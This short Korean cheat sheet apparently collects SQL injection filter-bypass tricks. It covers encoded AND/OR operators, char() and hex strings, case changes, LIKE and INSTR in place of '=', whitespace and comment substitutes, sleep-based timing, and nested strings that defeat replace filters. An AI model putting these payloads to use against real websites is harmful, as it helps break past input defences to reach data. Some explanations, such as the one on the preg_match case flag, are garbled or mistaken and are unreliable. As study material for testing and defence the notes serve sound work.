sql 인젝션 우회 기법
1. or and 구문을 필터링 하고 있을 경우
- url 인코딩 문자인 %로 우회
- and >> %26%26, &&
- or >> %7C%7C, ||
2. 단순 문자열 필터링인 경우 - preg_match
- php 필터링 함수인 preg_match를 사용할 때 char, hex값을 이용한다
- 단 preg_match 정규식을 표현 하고 있을 때 i를 안썻다면 대소문자 구분을 안하기 때문에 "AdMin" 이런식으로 사 용이 가능하다
- char(97,100,109,105,110)
- char(0x61646D696E)
2. 단순 문자열 필터링인 경우 - ereg, eregi
- 대소문자 구분을 안하기 때문에 대소문자를 이용해 우회
ex) aDmin
3. = 우회
- like >> 1 like 1
- instr >> instr(1, 1); INSTR('foobarbar', 'bar'); INSTR('foobarbar', 'bar');
4. substr 등 문자열을 자르는 함수 우회
- substr("abc",1,1)='a' 결과 1(참)
- substring("abc",1,1)='a' 결과 1(참)
- mid("abc",1,1)='a' 결과 1(참)
- left("abc",1)='a' 결과 1 참 (왼쪽부터)
- right("abc",1)='c' 결과 1 참 (오른쪽부터)
- right(left(‘abc’,1),1)='a' 결과 1 참(substr 함수와 동일)
5. ascii 함수 우회
- hex('admin')
- ord()
6. if 함수 우회
- coalesce((리턴 값), 변환 값)
- sleep(시간지연 함수)
- 만약 error 기반일 경우 에러를 이용 ex) (select 1 union select 2)
7. 공백 우회
- %0a
- %0b
- %0c
- %0d
- %a0
- +
- /**/ >> 다중 라인 주석
8. 주석 우회
- %00;
9. replace 우회
- admin 이라는 문자열을 공백으로 필터링 하고 있는 경우
- adadminmin
10. 0,1 등 숫자
- '!' = '!' ture
- '!' = '@' false